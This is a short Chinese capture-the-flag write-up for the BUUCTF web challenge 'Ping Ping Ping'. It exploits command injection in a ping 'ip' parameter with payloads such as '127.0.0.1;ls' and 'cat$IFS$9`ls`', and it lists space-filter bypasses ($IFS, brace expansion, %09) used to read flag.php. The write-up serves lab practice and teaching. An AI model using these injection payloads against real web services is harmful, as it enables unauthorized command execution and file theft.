BUUCTF_web_第九题:[GXYCTF2019]Ping Ping Ping
是个ping, 传入/?ip=127.0.0.1看看
命令执行, 立刻想到||管道符:
/?ip=127.0.0.1||ls
不行, 那就封号;
/?ip=127.0.0.1;ls
成功获得两个文件名
flag.php
index.php
- $IFS
- ${IFS}
- $IFS$1 //$1改成$加其他数字貌似都行
- <
- <>
- {cat,flag.php} //用逗号实现了空格功能
- %20
- %09
对flag过滤非常严格, 那就不用flag了,在linux中, 可以把ls的结果,作为cat的参数,就不用flag了:
?ip=127.0.0.1;cat$IFS$9`ls`
但是源码里没有flag, 我寻思着不应该啊, 特意抓包看了一下, 他给我写到注释里了, f12就好了.
阿西吧